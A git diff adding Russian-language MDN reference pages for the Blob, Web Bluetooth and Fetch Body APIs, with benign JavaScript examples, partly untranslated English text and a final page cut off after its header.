--- /dev/null
+++ b/files/ru/web/api/blob/index.html
@@ -0,0 +1,178 @@
+---
+title: Blob
+slug: Web/API/Blob
+translation_of: Web/API/Blob
+---
+<div>{{APIRef("File API")}}</div>
+
+<p><font face="Open Sans, Arial, sans-serif">Объект </font><code>Blob</code> представляет из себя подобный файлу объект с неизменяемыми, необработанными данными; они могут читаться как текст или двоичные данные, либо могут быть преобразованы в {{DOMxRef("ReadableStream")}}, таким образом, его методы могут быть использованы для обработки данных.</p>
+
+<p>Blob-ы могут представлять данные, которые не обязательно должны быть в родном для JavaScript формате. Интерфейс {{domxref("File")}} основан на <code>Blob</code>, наследует функциональность <code>Blob</code> и расширяет его для поддержки файлов на стороне пользователя.</p>
+
+<h2 id="Использование_Blob">Использование Blob</h2>
+
+<p>Для создания <code>Blob</code> не из объектов и данных blob, используйте конструктор {{domxref("Blob.Blob", "Blob()")}} . Чтобы создать blob из подмножества данных из другого blob, используйте метод {{domxref("Blob.slice()", "slice()")}}. Чтобы получить объект <code>Blob</code> для файла на файловой системе пользователя, смотрите документацию на {{domxref("File")}}.</p>
+
+<p>API, принимающие объекты <code>Blob</code>, также перечислены в документации на {{domxref("File")}}.</p>
+
+<div class="note">
+<p><strong>Заметка:</strong> Метод <code>slice()</code> имеет изначально задаваемую длину как второй аргумент, что используется для указания числа байт копируемых в новый <code>Blob.</code> Если указать такие параметры <code>start + length</code>, которые превышают размер исходного <code>Blob</code>, то возвращаемый <code>Blob</code> будет содержать данные от начального индекса (start index) до конца исходного <code>Blob.</code></p>
+</div>
+
+<div class="note"><strong>Заметка:</strong>  Следует помнить ,что метод <code>slice()</code> имеет сторонние префиксы в некоторых браузерах: <code>blob.mozSlice()</code> для Firefox 12 и ранее,  так же <code>blob.webkitSlice()</code> в Safari. Старая версия метода <code>slice()</code>, без сторонних приставок, имеет другой алгоритм и устарела. Поддержка <code>blob.mozSlice()</code> была убрана в Firefox 30.</div>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("Blob.Blob", "Blob(blobParts[, options])")}}</dt>
+ <dd>Возвращает создаваемый объект Blob, который содержит соединение всех данных в массиве, переданном в конструктор.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("Blob.isClosed")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>Логическое значение, показывающее, вызывался ли метод {{domxref("Blob.close()")}} у blob. Закрытый blob не может быть прочитан.</dd>
+ <dt>{{domxref("Blob.size")}} {{readonlyinline}}</dt>
+ <dd>Размер данных, содержащихся в объекте <code>Blob</code>, в байтах.</dd>
+ <dt>{{domxref("Blob.type")}} {{readonlyinline}}</dt>
+ <dd>Строка с MIME-типом данных, содержащихся в <code>Blob</code>. Если тип неизвестен, строка пуста.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("Blob.close()")}} {{experimental_inline}}</dt>
+ <dd>Закрывает Blob объект, по возможности освобождая занятые им ресурсы.</dd>
+ <dt>{{domxref("Blob.slice()", "Blob.slice([start[, end[, contentType]]])")}}</dt>
+ <dd>Возвращает новый <code>Blob</code> объект, содержащий данные в указанном диапазоне байтов исходного <code>Blob</code>.</dd>
+ <dt>{{DOMxRef("Blob.stream()")}}</dt>
+ <dd>Возвращает {{DOMxRef("ReadableStream")}}, который может использоваться для чтения содержимого <code>Blob</code>.</dd>
+ <dt>{{DOMxRef("Blob.text()")}}</dt>
+ <dd>Возвращает promise, который исполняется с {{DOMxRef("USVString")}}, содержащей всё содержимое <code>Blob</code>, интерпретируемое как текст UTF-8.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Создание_Blob">Создание Blob</h3>
+
+<p>Конструктор {{domxref("Blob.Blob", "Blob() constructor")}} может создавать объекты blob из других объектов. Например, чтобы сконструировать blob из строки JSON:</p>
+
+<pre class="brush: js">const obj = {hello: 'world'};
+const blob = new Blob([JSON.stringify(obj, null, 2)], {type : 'application/json'});</pre>
+
+<div class="warning">
+<p>До того как конструктор Blob стал доступен, это могло быть выполнено через устаревший API {{domxref("BlobBuilder")}}:</p>
+
+<pre class="brush: js">var builder = new BlobBuilder();
+var fileParts = ['&lt;a id="a"&gt;&lt;b id="b"&gt;hey!&lt;/b&gt;&lt;/a&gt;'];
+builder.append(fileParts[0]);
+var myBlob = builder.getBlob('text/xml');
+</pre>
+</div>
+
+<h3 id="Создание_URL_для_содержимого_типизированного_массива">Создание URL для содержимого типизированного массива</h3>
+
+<p>Следующий код создает типизированный массив JavaScript и создает новый <code>Blob</code>, содержащий данные типизированного массива. Затем вызывается {{DOMxRef("URL.createObjectURL()")}} для преобразования blob в {{glossary("URL")}}.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;This example creates a typed array containing the ASCII codes
+   for the space character through the letter Z, then converts it
+   to an object URL. A link to open that object URL is created.
+   Click the link to see the decoded object URL.&lt;/p&gt;</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<p>Основной частью этого кода для примера является функция <code>typedArrayToURL()</code>, которая создает <code>Blob</code> из переданного типизированного массива и возвращает объект URL для него. Преобразовав данные в URL объекта, их можно использовать несколькими способами, в том числе, в качестве значения атрибута {{htmlattrxref("src", "img")}} элементов {{HTMLElement("img")}} (конечно, при условии, что данные содержат изображение).</p>
+
+<pre class="brush: js">function typedArrayToURL(typedArray, mimeType) {
+  return URL.createObjectURL(new Blob([typedArray.buffer], {type: mimeType}))
+}
+
+const bytes = new Uint8Array(59);
+
+for(let i = 0; i &lt; 59; i++) {
+  bytes[i] = 32 + i;
+}
+
+const url = typedArrayToURL(bytes, 'text/plain');
+
+const link = document.createElement('a');
+link.href = url;
+link.innerText = 'Open the array URL';
+
+document.body.appendChild(link);</pre>
+
+<p>
+ </p><h3 id="Другой_пример">Другой пример</h3>
+
+
+<pre class="brush: js">var typedArray = GetTheTypedArraySomehow();
+var blob = new Blob([typedArray], {type: 'application/octet-binary'}); // pass a useful mime type here
+var url = URL.createObjectURL(blob);
+// url will be something like: blob:d3958f5c-0777-0845-9dcf-2cb28783acaf
+// now you can use the url in any context that regular URLs can be used in, for example img.src, etc.
+</pre>
+
+<h3 id="Извлечение_данных_из_Blob">Извлечение данных из Blob</h3>
+
+<p>Один из способов прочесть содержимое <code>Blob</code> <span lang="EN-US" style='font-family: "Calibri",sans-serif; font-size: 11.0pt; line-height: 107%;'>–</span> это использовать {{domxref("FileReader")}}. Следующий код читает содержимое <code>Blob</code> как типизированный массив.</p>
+
+<pre class="brush: js">var reader = new FileReader();
+reader.addEventListener("loadend", function() {
+   // reader.result contains the contents of blob as a typed array
+});
+reader.readAsArrayBuffer(blob);</pre>
+
+<p>Другой способ прочитать содержимое из <code>Blob</code> <span lang="EN-US" style='font-family: "Calibri",sans-serif; font-size: 11.0pt; line-height: 107%;'>–</span> это использовать {{domxref("Response")}}. Следующий код читает содержимое <code>Blob</code> как текст:</p>
+
+<pre class="brush: js">const text = await (new Response(blob)).text();
+</pre>
+
+<p>Или можно использовать {{DOMxRef("Blob.text()")}}:</p>
+
+<pre class="brush: js">const text = await blob.text();</pre>
+
+<p>Используя другие методы {{domxref("FileReader")}}, возможно прочесть содержимое объекта Blob как строку или как URL.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API','#blob-section','Blob')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<p>{{Compat("api.Blob")}}</p>
+
+<h2 id="Замечания_Gecko_доступность_в_привилегированном_коде">Замечания Gecko: доступность в привилегированном коде</h2>
+
+<p>Для использования в коде chrome, JSM и Bootstrap scope, вы должны импортировать его следующим образом:</p>
+
+<pre class="brush: js">Cu.importGlobalProperties(['Blob']);
+</pre>
+
+<p><code>Blob</code> доступен в Worker scopes.</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{domxref("BlobBuilder")}}</li>
+ <li>{{DOMxRef("FileReader")}}</li>
+ <li>{{domxref("File")}}</li>
+ <li>{{domxref("URL.createObjectURL")}}</li>
+ <li><a href="/ru/docs/Components.utils.importGlobalProperties">Components.utils.importGlobalProperties</a></li>
+ <li><a href="https://wiki.developer.mozilla.org/ru/docs/Web/API/File/Using_files_from_web_applications">Использование файлов в веб-приложениях</a></li>
+</ul>
diff --git a/files/ru/web/api/blob/slice/index.html b/files/ru/web/api/blob/slice/index.html
new file mode 100644
index 0000000000..f0e5eaf4df
--- /dev/null
+++ b/files/ru/web/api/blob/slice/index.html
@@ -0,0 +1,59 @@
+---
+title: Blob.slice()
+slug: Web/API/Blob/slice
+translation_of: Web/API/Blob/slice
+---
+<div>{{APIRef("File API")}}</div>
+
+<p>Метод <strong><code>Blob.slice()</code></strong> используется для создания нового объекта  {{domxref("Blob")}}, содержащего данные в указанном диапазоне байтов исходника {{domxref("Blob")}}.</p>
+
+<div class="note"><strong>Примечание:</strong> Помните, что метод  <code>slice()</code> имеет префиксы в некоторых браузерах и версиях: <code>blob.mozSlice()</code> для Firefox 12  и ранних, и <code>blob.webkitSlice()</code> для Safari. Старая версия метода <code>slice()</code> без префиксов, имела разную семантику, и устарела.</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var blob = instanceOfBlob.slice([start [, end [, contentType]]]);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>start</code> {{optional_inline}}</dt>
+ <dd>Индекс в {{domxref("Blob")}} указывающий первый байт, включенный в новый {{domxref("Blob")}}. Если указать отрицательное значение, это будет рассматриваться, как смещение с конца строки к началу. К примеру, -10 будет 10-ым от последнего байта {{domxref("Blob")}}. Значение по умолчанию равно 0. Если указать значение <code>start</code>, которое больше размера источника {{domxref("Blob")}}, размер возвращаемого {{domxref("Blob")}} будет равен 0 и не будет содержать данных.</dd>
+ <dt><code>end</code> {{optional_inline}}</dt>
+ <dd>Индекс в {{domxref("Blob")}} указывающий первый байт, который <strong>не</strong> будет включен в новый {{domxref("Blob")}} (т.е. байт с этим индексом не будет включен). Если указать отрицательное значение, это будет рассматриваться, как смещение с конца строки к началу. К примеру, -10 будет 10-ым от последнего байта {{domxref("Blob")}}. Значение по умолчанию равно <code>size</code>.</dd>
+ <dt><code>contentType</code> {{optional_inline}}</dt>
+ <dd>Тип содержимого нового {{domxref("Blob")}}; это будет значение его свойства <code>type</code>. Значение по умолчанию - пустая строка.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Новый {{domxref("Blob")}} объект содержит данные, указанные в источнике {{domxref("Blob")}}.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("File API", "#dfn-slice", "Blob.slice()")}}</td>
+   <td>{{Spec2("File API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Blob.slice")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Blob")}}</li>
+ <li>{{domxref("BlobBuilder")}}</li>
+</ul>
diff --git a/files/ru/web/api/bluetooth/index.html b/files/ru/web/api/bluetooth/index.html
new file mode 100644
index 0000000000..c2e255483c
--- /dev/null
+++ b/files/ru/web/api/bluetooth/index.html
@@ -0,0 +1,73 @@
+---
+title: Bluetooth
+slug: Web/API/Bluetooth
+tags:
+  - API
+  - Bluetooth
+  - Web Bluetooth API
+  - Экспериментальное
+translation_of: Web/API/Bluetooth
+---
+<div>{{APIRef("Bluetooth API")}}{{SeeCompatTable}}</div>
+
+<p>Объект <strong><code>Bluetooth</code></strong> интерфейса <a href="/Web/API/Web_Bluetooth_API">Web Bluetooth API</a> возвращает объект {{jsxref("Promise")}} объекту {{domxref("BluetoothDevice")}} с указанными параметрами.</p>
+
+<h2 id="Интерфейс">Интерфейс</h2>
+
+<pre class="syntaxbox">interface Bluetooth : EventTarget {
+  [SecureContext] Promise&lt;boolean&gt; getAvailability();
+  [SecureContext] attribute EventHandler onavailabilitychanged;
+  [SecureContext, SameObject] readonly attribute BluetoothDevice? referringDevice;
+  [SecureContext] Promise&lt;BluetoothDevice&gt; requestDevice(optional RequestDeviceOptions options);
+};
+Bluetooth implements BluetoothDeviceEventHandlers;
+Bluetooth implements CharacteristicEventHandlers;
+Bluetooth implements ServiceEventHandlers;</pre>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства от родителя {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("Bluetooth.referringDevice")}} {{readonlyinline}}</dt>
+ <dd>Возвращает ссылку на устройство, если таковое имеется, из которого пользователь открыл страницу. Например, Eddystone beacon может найти URL - адрес, который позволяет открыть строка агента адреса. Устройство Bluetooth предоставляет маяк, который будет доступен через <code>navigator.bluetooth.referringDevice</code>.</dd>
+</dl>
+
+<h3 id="События">События</h3>
+
+<dl>
+ <dt>{{domxref("Bluetooth.onavailabilitychanged")}}</dt>
+ <dd>Обработчик событий, который запускается при возникновении события типа {{event("availabilitychanged")}}.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("Bluetooth.getAvailability()")}}</dt>
+ <dd>Возвращает {{jsxref("Promise")}}, который возвращает {{jsxref("Boolean")}}, указывая, поддерживает ли браузер Bluetooth. Некоторфе браузеры дают возможность управлять возвращаемым значением этого метода.</dd>
+ <dt>{{domxref("Bluetooth.requestDevice()")}}</dt>
+ <dd>Возвращает {{jsxref("Promise")}} объекту {{domxref("BluetoothDevice")}} с переданными параметрами.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Bluetooth', '#bluetooth', 'Bluetooth')}}</td>
+   <td>{{Spec2('Web Bluetooth')}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на данной странице генерируется из структурированных данных. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить запрос.</div>
+
+<p>{{Compat("api.Bluetooth")}}</p>
diff --git a/files/ru/web/api/bluetoothremotegattserver/index.html b/files/ru/web/api/bluetoothremotegattserver/index.html
new file mode 100644
index 0000000000..f99ea7c5c1
--- /dev/null
+++ b/files/ru/web/api/bluetoothremotegattserver/index.html
@@ -0,0 +1,79 @@
+---
+title: BluetoothRemoteGATTServer
+slug: Web/API/BluetoothRemoteGATTServer
+tags:
+  - API
+  - Bluetooth
+  - BluetoothRemoteGATTServer
+  - Web Bluetooth API
+  - Интерфейс
+  - Определение
+  - Экспериментальное
+translation_of: Web/API/BluetoothRemoteGATTServer
+---
+<div>{{APIRef("Bluetooth API")}}{{SeeCompatTable}}</div>
+
+<p>Интерфейс <code><strong>BluetoothRemoteGATTServer</strong></code>, относящийся к <a href="/en-US/docs/Web/API/Web_Bluetooth_API">Web Bluetooth API</a>, представляет сервер GATT на удаленном устройстве.</p>
+
+<div class="note">
+<p>Данная страница описывает Web Bluetooth API от W3C Community Group. <a href="/en-US/docs/Archive/B2G_OS/API/BluetoothGattServer"><code>BluetoothGattServer</code> (Firefox OS)</a> - Bluetooth API в Firefox OS.</p>
+</div>
+
+<h2 id="Интерфейс">Интерфейс</h2>
+
+<pre class="syntaxbox notranslate">interface BluetoothRemoteGATTServer {
+  readonly attribute BluetoothDevice device;
+  readonly attribute boolean connected;
+
+  Promise&lt;BluetoothRemoteGATTServer&gt; connect();
+  void disconnect();
+  Promise&lt;BluetoothRemoteGATTService&gt; getPrimaryService(BluetoothServiceUUID service);
+  Promise&lt;sequence&lt;BluetoothRemoteGATTService&gt;&gt; getPrimaryServices(optional BluetoothServiceUUID service);
+};</pre>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{DOMxRef("BluetoothRemoteGATTServer.connected")}}{{ReadOnlyInline}}</dt>
+ <dd>Двоичное значение, равное <code>true</code>, если устройство <code>this.device</code> подключено. It can be false while the user agent is physically connected.</dd>
+ <dt>{{DOMxRef("BluetoothRemoteGATTServer.device")}}{{ReadOnlyInline}}</dt>
+ <dd>{{DOMxRef("BluetoothDevice")}}, на котором работает сервер.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{DOMxRef("BluetoothRemoteGATTServer.connect()")}}</dt>
+ <dd>Подключение к устройству <code>this.device</code>.</dd>
+ <dt>{{DOMxRef("BluetoothRemoteGATTServer.disconnect()")}}</dt>
+ <dd>Отключение от устройства <code>this.device</code>.</dd>
+ <dt>{{DOMxRef("BluetoothRemoteGATTServer.getPrimaryService()")}}</dt>
+ <dd>Returns a promise to the primary {{DOMxRef("BluetoothGATTService")}} offered by the bluetooth device for a specified <code>BluetoothServiceUUID</code>.</dd>
+ <dt>{{DOMxRef("BluetoothRemoteGATTServer.getPrimaryServices()")}}</dt>
+ <dd>Returns a promise to a list of primary {{DOMxRef("BluetoothGATTService")}} objects offered by the bluetooth device for a specified <code>BluetoothServiceUUID</code>.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Web Bluetooth", "#bluetoothremotegattserver", "BluetoothRemoteGATTServer")}}</td>
+   <td>{{Spec2("Web Bluetooth")}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+
+
+<p>{{Compat("api.BluetoothRemoteGATTServer")}}</p>
+
+<div>{{APIRef("Web Bluetooth")}}</div>
diff --git a/files/ru/web/api/body/arraybuffer/index.html b/files/ru/web/api/body/arraybuffer/index.html
new file mode 100644
index 0000000000..ff9f6e699d
--- /dev/null
+++ b/files/ru/web/api/body/arraybuffer/index.html
@@ -0,0 +1,90 @@
+---
+title: Body.arrayBuffer()
+slug: Web/API/Body/arrayBuffer
+tags:
+  - АПИ
+  - Экспериментальный
+  - справочник
+translation_of: Web/API/Body/arrayBuffer
+---
+<div>{{APIRef("Fetch")}}</div>
+
+<p>Метод <strong><code>arrayBuffer()</code></strong> из примеси(mixin) {{domxref("Body")}} берет поток(stream) {{domxref("Response")}} и читает его до завершения. Он возвращает промисс, который будет успешно завершен с помощью {{domxref("ArrayBuffer")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">response.arrayBuffer().then(function(buffer) {
+  // можно сделать что либо с буфером
+});</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>Нат параметров.</p>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Промисс, который содержит {{domxref("ArrayBuffer")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В нашем примере <a href="http://mdn.github.io/fetch-examples/fetch-array-buffer/">живой загрузки с array buffer</a> есть кнопка Play. При нажатии на кнопку вызывается функция <code>getData()</code>. Стоит учесть что до проигрывания аудио файл будет скачан целиком. Если вам необходимо начать воспроизведение файла ogg во время загрузки (стримить аудио) - то лучше рассмотреть  {{domxref("HTMLAudioElement")}}:</p>
+
+<pre class="brush: js">new Audio(music.ogg).play()
+</pre>
+
+<p>В функции <code>getData()</code> мы создаем новый запрос используя конструктор {{domxref("Request.Request")}}, после этого используем его чтобы загрузить OGG звук. Мы также используем {{domxref("AudioContext.createBufferSource")}} чтобы создать ресурс аудиобуффера. При успешном завершении запроса, мы считываем {{domxref("ArrayBuffer")}} из ответа испозуя <code>arrayBuffer()</code>, декодируем аудио с помощью {{domxref("AudioContext.decodeAudioData")}}, устанавливаем раскодированные данные как ресурс аудио буфера (<code>source.buffer</code>), затем используем данные этого ресурса в  {{domxref("AudioContext.destination")}}.</p>
+
+<p>Когда функция <code>getData()</code> заканчивает свое выполнение, мы стартуем проигрывание аудио ресурса функцией <code>start(0)</code>, потом блокируем кнопку проигрывания для предотвращения повторного проигрывания (это может привести к ошибкам)</p>
+
+<pre class="brush: js">function getData() {
+  source = audioCtx.createBufferSource();
+
+  var myRequest = new Request('viper.ogg');
+
+  fetch(myRequest).then(function(response) {
+    return response.arrayBuffer();
+  }).then(function(buffer) {
+    audioCtx.decodeAudioData(buffer, function(decodedData) {
+      source.buffer = decodedData;
+      source.connect(audioCtx.destination);
+    });
+  });
+};
+
+// навешиваем обработчики старт и стоп на кнопку
+play.onclick = function() {
+  getData();
+  source.start(0);
+  play.setAttribute('disabled', 'disabled');
+}</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#dom-body-arraybuffer','arrayBuffer()')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.Body.arrayBuffer")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/ru/web/api/body/formdata/index.html b/files/ru/web/api/body/formdata/index.html
new file mode 100644
index 0000000000..5b80766e66
--- /dev/null
+++ b/files/ru/web/api/body/formdata/index.html
@@ -0,0 +1,62 @@
+---
+title: Body.formData()
+slug: Web/API/Body/formData
+translation_of: Web/API/Body/formData
+---
+<div>{{APIRef("Fetch")}}</div>
+
+<p>Метод <strong><code>formData()</code></strong> из {{domxref("Body")}} принимает поток ответа {{domxref("Response")}} и считывает его до завершения. Он возвращает обещание, которое разрешается с помощью объекта {{domxref("FormData")}}.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong>  Это в основном относится к <a href="/en-US/docs/Web/API/ServiceWorker_API">service workers</a>. Если пользователь отправляет форму а service worker перехватывает запрос,  можно, например, вызвать <code>formData()</code> чтобы получить набор данных в формате ключ-значение, изменить некоторые поля, а затем отправить форму на сервер, или использовать её локально.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">response.formData()
+.then(function(formdata) {
+  // do something with your formdata
+});</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>Нет.</p>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{domxref("Promise")}} которое разрешается с помощью объекта {{domxref("FormData")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Нужно добавить.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#dom-body-formdata','formData()')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div>
+
+<p>{{Compat("api.Body.formData")}}</p>
+
+<h2 id="Также_смотрите">Также смотрите</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/ru/web/api/body/index.html b/files/ru/web/api/body/index.html
new file mode 100644
index 0000000000..82ba54e53d
--- /dev/null
+++ b/files/ru/web/api/body/index.html
@@ -0,0 +1,99 @@
+---
+title: Body
+slug: Web/API/Body
+tags:
+  - API
+  - BODY
+  - Experimental
+  - Fetch
+  - Fetch API
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - request
+translation_of: Web/API/Body
+---
+<div>{{ APIRef("Fetch") }}</div>
+
+<p><span class="seoSummary">The <strong><code>Body</code></strong> {{glossary("mixin")}} of the <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> represents the body of the response/request, allowing you to declare what its content type is and how it should be handled.</span></p>
+
+<p><code>Body</code> is implemented by both {{domxref("Request")}} and {{domxref("Response")}}. This provides these objects with an associated <dfn>body</dfn> (a <a href="/en-US/docs/Web/API/Streams_API">stream</a>), a <dfn>used flag</dfn> (initially unset), and a <dfn>MIME type</dfn> (initially the empty byte sequence).</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("Body.body")}} {{readonlyInline}}</dt>
+ <dd>A simple getter used to expose a {{domxref("ReadableStream")}} of the body contents.</dd>
+ <dt>{{domxref("Body.bodyUsed")}} {{readonlyInline}}</dt>
+ <dd>A {{domxref("Boolean")}} that indicates whether the body has been read.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("Body.arrayBuffer()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with an {{domxref("ArrayBuffer")}}.</dd>
+ <dt>{{domxref("Body.blob()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("Blob")}}.</dd>
+ <dt>{{domxref("Body.formData()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("FormData")}} object.</dd>
+ <dt>{{domxref("Body.json()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with the result of parsing the body text as {{jsxref("JSON")}}.</dd>
+ <dt>{{domxref("Body.text()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("USVString")}} (text). The response is <em>always</em> decoded using UTF-8.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>The example below uses a simple fetch call to grab an image and display it in an {{htmlelement("img")}} tag. You'll notice that since we are requesting an image, we need to run {{domxref("Body.blob","Body.blob()")}} ({{domxref("Response")}} implements body) to give the response its correct MIME type.</p>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;img class="my-image" src="https://wikipedia.org/static/images/project-logos/frwiki-1.5x.png"&gt;
+</pre>
+
+<h3 id="JS_Content">JS Content</h3>
+
+<pre class="brush: js">var myImage = document.querySelector('.my-image');
+fetch('https://upload.wikimedia.org/wikipedia/commons/7/77/Delete_key1.jpg')
+	.then(res =&gt; res.blob())
+	.then(res =&gt; {
+		var objectURL = URL.createObjectURL(res);
+		myImage.src = objectURL;
+});</pre>
+
+<p>{{ EmbedLiveSample('Examples', '100%', '250px') }}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#body-mixin','Body')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Body")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/ru/web/api/body/json/index.html b/files/ru/web/api/body/json/index.html
new file mode 100644
index 0000000000..649c5b60e6
--- /dev/null
+++ b/files/ru/web/api/body/json/index.html
@@ -0,0 +1,77 @@
+---
+title: Body.json()
+slug: Web/API/Body/json
+tags:
+  - Fetch-запрос
+  - Справка
+  - метод
+translation_of: Web/API/Body/json
+---
+<div>{{APIRef("Fetch")}}</div>
+
